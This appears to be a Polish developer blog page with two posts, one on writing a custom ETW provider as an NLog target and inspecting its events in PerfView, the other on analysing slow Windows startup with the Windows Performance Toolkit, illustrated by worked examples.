    W systemie może być aktywna tylko jedna sesja jądra, która ma specjalną nazwę: “NT Kernel Logger”. Ze względu na to ograniczenie nie można np. mieć równocześnie uruchomionego procmona (process hackera) i np. utworzyć sesji jądra w perfview, ponieważ taką zainicjował już wcześniej procmon (PH). Można jednak do takiej sesji podłączyć się innym konsumentem i ewentualnie ją zmodyfikować (dodając np. dodatkowe flagi).
    Listę wszystkich dostawców możemy otrzymać przy pomocy:

    >xperf -providers
    Known User Mode Providers:
     0063715b-eeda-4007-9429-ad526f62696e   : Microsoft-Windows-Services
     01090065-b467-4503-9b28-533766761087   : Microsoft-Windows-ParentalControls
     014de49f-ce63-4779-ba2b-d616f6963a87   : Microsoft-Windows-NetworkConnectivityStatus
     01578f96-c270-4602-ade0-578d9c29fc0c   : Microsoft-Windows-VAN
     017247f2-7e96-11dc-8314-0800200c9a66   : Microsoft-Windows-ErrorReportingConsole
     017ba13c-9a55-4f1f-8200-323055aac810   : Microsoft-Windows-Registry-SQM-Provider
     01979c6a-42fa-414c-b8aa-eee2c8202018   : Microsoft-Windows-WindowsBackup
     02012a8a-adf5-4fab-92cb-ccb7bb3e689a   : Microsoft-Windows-ShareMedia-ControlPanel
     02fe721a-0725-469e-a26d-37b3c09faac1   : Portable Device Connectivity API Trace
    [CIACH]

    przy czym możemy także zawęzić listę do np. zainstalowanych (znanych), lub zarejestrowanych w danym momencie w systemie (pełna lista opcji w xperf -help providers). Gdy chcemy zobaczyć, jacy dostawcy zarejestrowani są przez dany proces, to korzystamy z:

    >logman query providers -pid [PID]

    np.:

    >tlist | findstr -i notepad.exe
    7844 notepad.exe       Default IME

    >logman query providers -pid 7844

    Dostawca                   Identyfikator GUID
    -------------------------------------------------------------------------------
    Microsoft-Windows-Documents              {C89B991E-3B48-49B2-80D3-AC000DFC9749}
    Microsoft-Windows-Dwm-Api                {92AE46D7-6D9C-4727-9ED5-E49AF9C24CBF}
    Microsoft-Windows-KnownFolders           {8939299F-2315-4C5C-9B91-ABB86AA0627D}
    Microsoft-Windows-PrintService           {747EF6FD-E535-4D16-B510-42C90F6873A1}
    Microsoft-Windows-Shell-Core             {30336ED4-E327-447C-9DE0-51B652C86108}
    Microsoft-Windows-TSF-msctf              {4FBA1227-F606-4E5F-B9E8-FAB9AB5740F3}
    Microsoft-Windows-UxTheme                {422088E6-CD0C-4F99-BD0B-6985FA290BDF}
    {2955E23C-4E0B-45CA-A181-6EE442CA1FC0}   {2955E23C-4E0B-45CA-A181-6EE442CA1FC0}
    {6097799C-99DF-4C32-BF88-A32958C6421A}   {6097799C-99DF-4C32-BF88-A32958C6421A}
    {69D3F5B6-6605-4EF9-B6A0-BC0233BD2CA6}   {69D3F5B6-6605-4EF9-B6A0-BC0233BD2CA6}
    {A323CDC2-81B0-48B2-80C8-B749A221478A}   {A323CDC2-81B0-48B2-80C8-B749A221478A}
    {BCEBF131-E4E6-4BA4-82FA-9C406002F769}   {BCEBF131-E4E6-4BA4-82FA-9C406002F769}
    {BDA92AE8-9F11-4D49-BA1D-A4C2ABCA692E}   {BDA92AE8-9F11-4D49-BA1D-A4C2ABCA692E}
    {C9BF4A02-D547-4D11-8242-E03A18B5BE01}   {C9BF4A02-D547-4D11-8242-E03A18B5BE01}

    Polecenie zostało wykonane pomyślnie.

    Z każdym z powyższych providerów skojarzony jest jeden, lub więcej uchwytów (rączek ;)), które z łatwością dostrzeżemy w Process Hackerze w zakładce Handles jako “EtwRegistration”.

    Rys 1. EtwRegistration widoczne na liście uchwytów otwartych przez aplikację

    Kiedyś jeszcze wrócimy do tych narzędzi, a teraz przejdźmy do czegoś ciekawszego.

    Własny provider - przykład z NLogiem

    Wraz z pojawieniem się .NET Framework 4.5 i przestrzeni System.Diagnostics.Tracing tworzenie własnego providera stało się bardzo proste. Z pomocą klasy EventSource możemy w kilku linijkach dodać możliwość logowania w ramach ETW.

    W lipcu b.r. Vance Morrison (architekt w zespole zajmującym się wydajnością środowiska uruchomieniowego - .NET Runtime Team) zapowiedział na swoim blogu nowości oraz udostępnił bibliotekę, która zawiera wspomnianą przestrzeń i jest dostępna dla wcześniejszych wersji .NET Framework (3.5+).

    Korzystając z niej przygotowałem prosty target dla NLoga, który pozwala na logowanie komunikatów wprost do ETW.

    using System;
    using System.Diagnostics;
    using System.Diagnostics.Tracing;

    using NLog;
    using NLog.Targets;

    namespace Zine.ETWNlogTarget
    {
      [Target("ETW")]
      public sealed class ETWTarget : TargetWithLayout
      {
        sealed class NLogETWTargetSource : EventSource
        {
          public static NLogETWTargetSource Log = new NLogETWTargetSource();
          public void Message(string Message) {
            WriteEvent(1, Message);
          }
        }

        protected override void Write(LogEventInfo logEvent)
        {
          string logMessage = this.Layout.Render(logEvent);
          Write(logMessage);
        }

        private void Write(string logMsg)
        {
          if (string.IsNullOrEmpty(logMsg)) return;
          NLogETWTargetSource.Log.Message(logMsg);
        }
      }
    }

    Weźmy teraz przykład prostej aplikacji:

    using System;

    using NLog;

    namespace ZineNlogTester
    {
     class Program
     {
      private static Logger logger = LogManager.GetCurrentClassLogger();

      static void Main(string[] args)
      {
       using (new OperationTimer("Debug"))
       {
        for (int i = 0; i < 10000; i++)
        {
         logger.Debug(i.ToString());
        }
       }
      }
     }
    }

    (gdzie OperationTimer wykorzystuje Stopwatch do pomiaru czasu pomiędzy początkiem i końcem pętli) i skorzystajmy z przygotowanego wcześniej targeta, który dołączymy do aplikacji następującym plikiem nlog.config:

    <?xml version="1.0" encoding="utf-8" ?>
    <
    nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

     <extensions>
      <
    add assembly="Zine.ETWNlogTarget"/>
     </
    extensions>

     <
    targets>
      <
    target name="etw" type="ETW" layout="NLOG: ${message}" />
     </targets>

     <
    rules>
      <
    logger name="*" minLevel="Debug" writeTo="etw"/>
     </
    rules>

    </
    nlog> 

    Do zebrania tak wygenerowanych komunikatów użyjemy Perfview, przy czym w ustawieniach zbieracza dodamy nasz provider dopisując *{nazwa_klasy} 

    Rys 2. Ustawienia sesji logowania w PerfView

    Testy

    Zróbmy teraz kilka testów:

    1. Uruchamiamy aplikację testową bez włączonego Collecta (zdarzenia ETW trafiają w próżnię). Czas: 0,0179 sek., co sprowadza się do możliwości wygenerowania ok. pół miliona zdarzeń w ciągu sekundy.

    2. Włączamy ‘Start collection’ i uruchamiamy aplikację. Czas: 0,0373 sek, czyli możemy zebrać ok. ćwierć miliona zdarzeń na sekundę.

    3. Zmieniamy target na File:

    <target name="file" xsi:type="File" layout="NLOG: ${message}" fileName="${basedir}/logs/logfile.txt" keepFileOpen="true" encoding="iso-8859-2" />

    i dostajemy logfile.txt, a czas: 0,1450 sek, czyli ok. 70 tys. zdarzeń na sekundę.

    4. I na sam koniec bierzemy target Null:

    <target name="null" type="Null" layout="NLOG: ${message}" />

    i czasy: 0,0051 sek., czyli NLog na moim komputerze może wygenerować ok. 2 mln zdarzeń trafiających w próżnię, przy podanej aplikacji i ustawieniach NLoga.

    Po zatrzymaniu zbieracza wygenerowany zostanie zestaw plików .etl, przy czym interesujące nas dane znajdują się w pliku PerfViewData.etl. Po otwarciu go zaglądamy do Events, gdzie w filtrze wpisujemy NLog i zaglądamy do zdarzeń zebranych jako NLogETWTargetSource/Message

    Rys 3. Zdarzenia związane z targetem dołączonym do NLoga

    Kod jest nasz, więc w CPU Stacks dla naszego procesu możemy ustawić ścieżkę do symboli, po czym grzecznie je wczytać i następnie zajrzeć do zakładki CallTree. Po trafieniu na naszą funkcję możemy zajrzeć do źródła, w których PerfView dodatkowo dopisuje własne metryki.

    Rys 4. Stacks + źródło w PerfView

    Przyznaję szczerze, że walka z ‘broken stacks’ dla kodu zarządzanego w Windows 7 x64 jest ciężka i wyczerpująca (podobno pod Win8 wszystko działa bez problemu) i nie udało mi się nad tym zapanować (choć na rysunku powyżej stos wywołań niby jest).

    Rys 5. Komunikat o problemach z analizą stosu wywołań

    Na koniec lista sesji ustawionych przez PerfView w trakcie zbierania danych:

    Logger Name           : NT Kernel Logger
    Logger Id             : ffff
    Logger Thread Id      : 000000000000161C
    Buffer Size           : 1024
    Maximum Buffers       : 256
    Minimum Buffers       : 64
    Number of Buffers     : 64
    Free Buffers          : 56
    Buffers Written       : 11
    Events Lost           : 0
    Log Buffers Lost      : 0
    Real Time Buffers Lost: 0
    Flush Timer           : 10
    Age Limit             : 0
    Log File Mode         : Circular Secure
    Maximum File Size     : 500
    Log Filename          : C:\Roboczy\Dumps\ETL\NLog\PerfViewData.kernel.etl
    Trace Flags           : PROC_THREAD+LOADER+PERF_COUNTER+DISK_IO+DISK_IO_INIT+HARD_FAULTS+FILENAME+NETWORKTRACE+PROFILE
    PoolTagFilter         : *


    Logger Name           : PerfViewSession
    Logger Id             : f
    Logger Thread Id      : 0000000000002394
    Buffer Size           : 1024
    Maximum Buffers       : 256
    Minimum Buffers       : 64
    Number of Buffers     : 64
    Free Buffers          : 60
    Buffers Written       : 1
    Events Lost           : 0
    Log Buffers Lost      : 0
    Real Time Buffers Lost: 0
    Flush Timer           : 10
    Age Limit             : 0
    Log File Mode         : Circular
    Maximum File Size     : 400
    Log Filename          : C:\Roboczy\Dumps\ETL\NLog\PerfViewData.etl
    Trace Flags           : d9b1ff2e-1e4a-5db6-f885-423ece896a35:0xffffffffffffffff:0x5+57277741-3638-4a4b-bdba-0ac6e45da56c:0xffffffffffffffff:0x5+"Microsoft-Windows-Application Server-Applications":0xffffffffffffffff:0x4+"ASP.NET Events":0xfffffffffffffffd:0x5+a8a71ac1-040f-54a2-07ca-00a89b5ab761:0xffffffffffffffff:0x5+2e5dba47-a3d2-4d16-8ee0-6671ffdcd7b5:0xffffffffffffffff:0x5+763fd754-7086-4dfe-95eb-c01a46faf4ca:0x40020001:0x5+".NET Common Language Runtime":0x4007cc9d:0x5+"Microsoft-PerfTrack-MSHTML":0xffffffffffffffff:0x5+"Microsoft-PerfTrack-IEFRAME":0xffffffffffffffff:0x5+"Microsoft-Windows-WinINet":0x2:0x5

    Interesujący nas provider kryje się oczywiście w sesji użytkownika i włączony jest przez PerfView następująco:
    d9b1ff2e-1e4a-5db6-f885-423ece896a35:0xffffffffffffffff:0x5

    (składnia: ProviderName:Keyword:Level:’stack[,]sid[,]tsid’ (za ‘Inside Windows Debugging’))

    Jeśli kogoś zainteresowały możliwości PerfView, to polecam gorąco serię videocastów poświęconą temu właśnie narzędziu: [Vance Morrison o PerfView]

    Zagadka

    Dla wytrwałych i gotowych do drążenia tematu - zagadka.

    Provider rejestrowany jest przez aplikację dynamicznie, skąd więc PerfView wie jaki jest guid naszego providera jeszcze przed uruchomieniem aplikacji?

    opublikowano 23 października 2012 20:35 przez mgrzeg | 1 komentarzy
    Filed under: , ,
  • Analiza startu systemu, czyli Windows Performance Toolkit w akcji

    Krótki wstęp

    “Trwa uruchamianie systemu Windows”...”Czekaj”...”Zapraszamy”...mijają sekundy, minuty, aż po którymś razie, gdy chcesz tylko ‘szybko wysłać przelew’ zaczynasz się zastanawiać ‘co u licha ten system robi w tym czasie?’ i ‘dlaczego to tak długo trwa?’.
    W następnych akapitach spróbuję przynajmniej częściowo odpowiedzieć na te pytania i podać kilka wskazówek pozwalających samodzielnie dojść do źródła problemu.

    Fazy startu

    W dokumencie “Windows On/Off Transition Performance Analysis”, który będziemy dalej traktować jako podstawową referencję Microsoft dzieli start systemu na kilka faz:

    1. BIOSInitialization
    Pierwsza faza startu - od włączenia komputera, poprzez inicjalizację urządzeń w ramach firmware, przez fazę POST, aż po załadowanie MBR, start Bootmgr.exe, załadowanie Winload.exe z partycji startowej.

    2. OSLoader
    Windows loader (Winload.exe) ładuje podstawowe sterowniki, które wymagane są do wczytania najważniejszych danych z dysku, w tym jądra, najważniejszych gałęzi rejestru (SYSTEM) oraz kluczowych sterowników, oznaczonych jako BOOT_START.

    3. MainPathBoot
    W czasie tej fazy, podzielonej dodatkowo na mniejsze następuje załadowanie wszystkich najważniejszych elementów systemu i kończy się ona wraz z pojawieniem się pulpitu.
    3.1 PreSMSS (Pre Session Init)
    Wraz z rozpoczęciem tej fazy pojawia się ekran “Trwa uruchamianie systemu Windows”. W tej fazie system inicjalizuje jądro wraz z podstawowymi strukturami danych, uruchamia menadżera PnP, który inicjalizuje sterowniki oznaczone jako BOOT_START, załadowane w poprzedniej fazie:
    - Wykrywa urządzenie;
    - Ładuje do pamięci sterownik i dokonuje walidacji sygnatury sterownika;
    - Wykonuje funkcję DriverEntry (‘Main’ sterownika);
    - Wysyła pakiety IRP_MN_START_DEVICE (uruchom urządzenie) oraz IRP_MN_QUERY_DEVICE_RELATIONS (wylicz urządzenia potomne).
    Wszystkie te kroki powtarzane są dla każdego urządzenia potomnego, aż do przejścia przez całe drzewo urządzeń.
    3.2 SMSSInit (Session Init)
    W tej fazie następuje przekazanie sterowania do menadżera sesji (Smss.exe). Następuje inicjalizacja rejestru, załadowanie sterowników nie oznaczonych jako BOOT_START i uruchomienie procesów podsystemów. Koniec fazy następuje wraz z przekazaniem sterowania do Winlogon.exe
    3.3 WinlogonInit (Winlogon Init)
    Faza rozpoczyna się tuż przed pojawieniem się okna logowania i obejmuje start usług przez Service Control Manager (SCM), załadowanie skryptów Group Policy komputera oraz okna logowania. Faza kończy się wraz ze startem Explorer.exe.
    3.4 ExplorerInit (Explorer Init)
    Podczas tej fazy następuje załadowanie explorer.exe, procesu menadżera pulpitu (DWM), który tworzy i wyświetla okno pulpitu.

    4. PostBoot (Post Boot)
    Ta faza obejmuje wszelką aktywność komputera, która odbywa się w tle i ma miejsce po pojawieniu się pulpitu. A zatem w tej fazie pojawiają się w zasobniku wszelkie ikonki uruchamianych w autostarcie aplikacji, następuje dalszy ciąg startu usług systemowych, etc. Przyjęło się, że koniec tej fazy następuje w momencie, gdy komputer jest względnie bezczynny. Aby precyzyjnie określić ten moment, próbkuje się system co 100ms i jeśli system jest bezczynny w >= 80% (pomija się aktywność o niskim priorytecie procesora oraz dysku, a więc przede wszystkim jest to aktywność związana z funkcją nt!KiIdleLoop) i taki stan utrzymuje się przez 10 kolejnych sekund (a więc przez 100 następujących po sobie próbek), to określa to koniec tej fazy. Tu uwaga: w logach faza PostBoot kończy się w tym momencie, co oznacza, że faktycznie koniec nastąpił 10 sekund wcześniej i po prostu należy te 10 sekund odjąć.

    Gdy już mamy przyjęte podstawowe definicje i posługujemy się wspólnym językiem, możemy przejść do warsztatu i zapoznać się z narzędziami.

    Narzędzia

    Microsoft dostarcza zestaw darmowych narzędzi analitycznych w postaci pakietu Windows Performance Toolkit (WPT), który jest częścią większego Windows Assessment and Deployment Kit (ADK) i będziemy się na nich opierać przy dalszych zabawach. Jako podstawę do przygotowania pierwszego logu przyjmijmy następujące polecenie:

    >xbootmgr -trace boot -traceflags latency+dispatcher -stackwalk profile+cswitch+readythread -notraceflagsinfilename -postbootdelay 180 -resultpath c:\xperf

    a do następnych:

    >xbootmgr -trace boot -traceflags latency+dispatcher -stackwalk profile+cswitch+readythread -notraceflagsinfilename -postbootdelay 180 -resultpath c:\xperf -prepsystem

    W tym drugim przypadku następuje 6 restartów, po których odbywa się właściwe przygotowanie logu.

    Uwaga! Pliki .etl są względnie duże (przeciętnie setki megabajtów), więc w przypadku małej ilości wolnego miejsca na dysku mogą pojawić się problemy.

    Gdy mamy już wygenerowane logi, do ich analizy będziemy wykorzystywać Xperf Viewer (xperfview.exe) oraz Windows Performance Analyzer (wpa.exe), oczywiście oba pochodzą ze wspomnianego pakietu WPT.

    Przykład 1. Windows XP

    Jakkolwiek Windows XP nie jest oficjalnie wspierany przez narzędzia ADK, to do wykonania testu możemy pobrać wcześniejszą wersję WPT, wypakować zawartość i przygotować log. Samą analizę tak przygotowanego logu będziemy musieli zrobić na Viście, lub jakimś nowszym systemie, ale jest to wykonalne.
    Korzystając z polecenia

    >xperf -i boot_1.etl -o summary.xml -boot

    możemy przygotować plik zawierający podsumowanie startu, przy czym nas będzie interesować w szczególności sekcja <timing>

    Rys 1. Summary.xml - podsumowanie startu Windows XP

    Z łatwością odnajdziemy w niej odpowiedniki wyżej opisanych faz, a także atrybut bootDoneViaPostBoot, w którym zapisana jest długość startu (+10 sek). Po rozpisaniu odpowiednich faz otrzymamy:

    Nazwa           | start(ms)|koniec(ms)|  suma(ms)
    -------------------------------------------------
    Pre Session Init|         0|      4005|      4005
    Session Init    |      4005|      4179|       174
    Winlogon Init   |      4179|      8063|      3883
    Explorer Init   |      8063|      8243|       179
    Post Boot       |      8243|     20443|     12200
    -------------------------------------------------
    System gotowy po:                      10,443 sek

    Możemy przygotować sobie inne zestawienia, korzystając z innych poleceń, których listę znajdziemy:

    >xperf -help processing

    przy czym

    >xperf -i boot_1.etl -o all.txt -a dumper

    zrzuci nam wszystkie zdarzenia do pliku tekstowego.
    Niestety, w przypadku Windows XP sporej części informacji nie znajdziemy w pliku .etl i dlatego w następnych przykładach przechodzimy do nowszych systemów.

    Przykład 2 Jedna usługa opóźnia start innych usług

    Dalsze analizy będziemy przeprowadzali w środowisku graficznym. Mamy do dyspozycji dwa narzędzia: xperfview (Xperf Viewer) oraz nowszy wpa (Windows Performance Analyzer). Będę je stosował przemiennie.

    Na samym początku wszelkich analiz spoglądamy na podsumowanie startu. Tabelka z przykładu pierwszego przedstawia się (inny przypadek, inne czasy) graficznie tak, jak to widać na kolejnym zrzucie.

    Rys 2. Fazy startu - graficznie

    W tym przypadku faza PostBoot trwa o wiele dłużej, niż pozostałe i jakkolwiek pulpit pojawił się w ciągu pierwszej minuty, to jednak pracę można było sensownie rozpocząć dopiero mniej-więcej w połowie piątej minuty od startu systemu.
    Kolejny wykres, na który warto spojrzeć przedstawia start usług. Nierzadko zdarza się tak, że któraś z usług startuje dłużej, niż powinna i wówczas usługi należące do kolejnych grup muszą czekać na swoją kolejkę.

    Rys 3. Długi start usługi TuneUpSvc

    W przykładzie z rysunku usługa TuneUp UtilitiesSvc startuje ok 20 sekund, wstrzymując start innych usług należących do następnych grup. Zauważmy, że wszystkie te usługi należą do grupy <AutoStart>, o tyle istotnej, że zakończenie tej fazy wyznacza 120-sekundowe oczekiwanie na start usług należących do grupy “Automatycznie (opóźnione uruchomienie)”. Usługi te możemy znaleźć dalej na wykresie.

    Rys 4. Usługi o opóźnionym starcie

    Przy okazji krótka ściąga: zielony - ‘Start Pending’ - usługa jest tworzona i przypisywana do kontenera, seledynowy - ‘Start Pending’ - już w danym kontenerze, pomarańczowy - ‘SvcMain Enter’, czerwony - ‘Running’ - oznacza koniec startu, ‘SvcExit’ nie jest oznaczane na wykresie.
    Wykresy wykresami, ale mamy również dostępne tabelki ze szczegółowymi danymi dotyczącymi kolejnych zdarzeń usług.
    W przypadku xperfview mamy je dostępne pod prawą myszą (“Summary table” i “Events table”), w WPA mamy możliwość dynamicznego oglądania tabelki razem z wykresem (na pewno warto zwrócić tu uwagę na przyjaźniejsze zarządzanie kolumnami).

    Rys 5. WPA - wykres & tabelka w jednym miejscu

    Aby włączyć równoczesny podgląd wykresu i tabelki klikamy w odpowiednią ikonkę (wskazana strzałką na powyższym rysunku).

    Przykład 3. Dysk

    Bardzo często wąskim gardłem okazuje się dysk. Aby szybko zorientować się, że badany przez nas przypadek należy do tej kategorii, wystarczy rzucić okiem na wykres ‘Disk Utilization’

    Rys 6. Disk utilization

    W skrajnych przypadkach będzie to wyglądało tak, jak na rysunku powyżej. Przez 4 minuty dysk obciążony jest praktycznie w 100%. Gdy zajrzymy do ‘Detail Graph’, to zobaczymy w szczegółach co też ciekawego działo się na dyskach fizycznych.

    Rys 7. Disk utilization - Detail Graph

    Jak widać na rysunku mamy pełną informację o modelu dysku, podziale na partycje, a dla każdego zdarzenia szczegółowe informacje o pliku, typie dostępu, odpowiednich czasach, etc. Wygląda na to, że partycja C była cała przeczesana.
    No tak, ale co konkretnie było czytane i przez jaki proces? Odpowiedź na to pytanie znajdziemy na wykresie ‘Disk Utilization by Process’, sięgając do podręcznego ‘Summary Table’.

    Rys 8. Disk utilization - Summary Table

    Jak widać, w naszym przypadku najdłuższy service time zaserwował nam process svchost o PIDzie=1108, przy czym po rozwinięciu ‘+’ po najdłuższej ścieżce dojdziemy szybko do

    Rys 9. Disk utilization - szczegóły

    gdzie okazuje się, że mamy całą masę odczytów z c:\Windows\system32\DriverStore\FileRepository.
    Mamy do czynienia z kontenerem usług, więc chcielibyśmy wiedzieć coś więcej odnośnie procesu o PID=1108. Nic prostszego - zaglądamy do ‘System Configuration’, gdzie szybko znajdujemy listę usług w ramach svchost(1108).

    Rys 10. System configuration - usługi

    Odpowiedź na pytanie ‘która konkretnie usługa odpowiada za takie obciążenie?’ zostawimy na później, teraz przechodzimy do przypadku kolejnego.

    Przykład 4. Prefetcher

    Nierzadko w parze z dużym obciążeniem dysku idzie martwy prefetcher. Aby mieć pewność, że to nasz przypadek, zaglądamy do wykresu ‘ReadyBoot I/O’ i patrzymy czy jest bardziej zielono, czy czarno. Czerń oznacza ‘misses’, czyli nietrafienia w kesz, natomiast zieleń oznacza, iż system otrzymał dane z kesza.
    Weźmy przykład komputera z praktycznie nieaktywną usługą Sysmain

    Rys 11. Wykres ReadyBoot I/O w zestawieniu z Disk Utilization

    i teraz przełączmy zbędną usługę na start ręczny i wytrenujmy prefetcher

    Rys 12. Prefetcher po wytrenowaniu

    Różnica widoczna gołym okiem, a całkowity czas startu spadł z ponad 224 do 59 sekund.

    Przykład 5. Sterowniki

    Aby zorientować się, co dzieje się ze sterownikami, musimy zajrzeć do wykresu DPC CPU Usage. Czasem bowiem trafimy na przypadek taki, jak na rysunku

    Rys 13. DPC CPU Usage - sterowniki

    Gdy teraz powiększymy interesujący nas obszar i przejdziemy do ‘Summary Table’, to bez problemu dowiemy się, w kodzie którego sterownika spędziliśmy najwięcej czasu.

    Rys 14. DPC CPU Usage Summary - duża aktywność usbport.sys

    Wydaje się, że tragedii nie ma - przecież mówimy o max 15% obciążeniu CPU. Tak, jednak w systemie mamy 6-rdzeniowy procesor (do sprawdzenia w zakładce PnP ‘System Configuration’), więc w sumie mamy sytuację, gdzie jeden rdzeń jest w 100% obciążony obsługą usbport.sys. W powyższym przypadku okaże się, że po USB podłączony był 1TB dysk zewnętrzny i system zmarnotrawił morze czasu na jego inicjalizację.

    Przykład 6. Symbole

    Jak dla mnie najciekawszy element związany z analizą startu. O symbolach pisałem na blogu wielokrotnie, w przypadku xperf mamy jednak kilka nowości.

    - poza _NT_SYMBOL_PATH ustawionym na serwer symboli Microsoft dobrze jest mieć zdefiniowaną zmienną określającą ‘prywatny kesz’ xperf, co znacząco przyspieszy ładowanie symboli. Ustawia się go poprzez zmienną środowiskową _NT_SYMCACHE_PATH, np:
    _NT_SYMBOL_PATH=srv*C:\websymbols*http://msdl.microsoft.com/downloads/symbols
    _NT_SYMCACHE_PATH=c:\symcache

    - symbole można przygotować ‘ręcznie’ poleceniem:

    >xperf -i boot_1.etl -symbols -a symcache -build

    - WPA ma znacznie lepszą informacyjność odnośnie pobierania symboli, xperfview najwyraźniej wykorzystuje główny wątek do obsługi symboli i po prostu ‘zawisa’ podczas ich przetwarzania.
    - aby uniknąć stronicowania kodu sterowników, które w przypadku systemów 64-bit mogą być niezbędne do odtworzenia stosu wywołań, należy ustawić w rejestrze dla obsługi pamięci Session Managera wartość DisablePagingExecutive na 1, co najszybciej możemy osiągnąć poleceniem:

    >reg add "HKLM\System\CurrentControlSet\Control\Session Manager\Memory Management" -v DisablePagingExecutive -d 0x1 -t REG_DWORD -f

    Po zakończeniu analiz możemy wyłączyć tę opcję, ustawiając domyślną (dla Windows 7) wartość 0. Oczywiście jeśli interesuje nas stos wywołań dla kodu pracującego w trybie użytkownika, to nie musimy ustawiać tej wartości - ma ona znaczenie wtedy, gdy chcemy zajrzeć głębiej w trybie jądra.

    - call stack nie jest dostępny w przypadku Windows XP. Po prostu całkowity brak takiej funkcjonalności :(

    Po załadowaniu pliku .etl dobrze jest od razu skorzystać z podręcznego ‘Load Symbols’. Trochę to potrwa, jednak później nie powinniśmy tego żałować.

    Wróćmy zatem do przykładu 3 i problemów z dyskiem, a dokładniej jednej z usług, która wczytywała mnóstwo informacji o sterownikach. Zaglądamy do wykresu ‘CPU Sampling by Thread’, ładujemy symbole (potwierdzamy przy tym standardowy komunikat licencyjny)

    Rys 15. Licencja Microsoft - Symbol Server

    i przechodzimy do ‘Summary Table’

    Rys 16. Stos wywołań usługi iphlpsvc

    Bez problemu znajdujemy interesujący nas proces (svchost.exe (1108)) oraz jego najaktywniejszy wątek (TID=3200). Rozwijamy stos idąc ścieżką o największej wadze i po kilku chwilach dochodzimy do interesującej nas usługi (Pomocnik IP). Interfejs isatap i w ogóle obsługa IPv6 w przypadku laptopa pracującego w domu nie jest konieczna, wystarczy więc proste

    >netsh int isa set state disabled

    i po kłopocie, a dokładniej - obcinamy prawie o połowę czas startu systemu.

    Mam nadzieję, że te kilka przykładów daje obraz siły, jaką daje zestaw WPT. Nie sposób w jednej notce jest opisać wszystkie przypadki z jakimi można mieć do czynienia, ale obiecuję, że będę jeszcze wracał do tego tematu w przyszłych wpisach.

    opublikowano 9 października 2012 23:30 przez mgrzeg | 7 komentarzy
    Filed under: , ,

Subskrypcje

W oparciu o Community Server (Personal Edition), Telligent Systems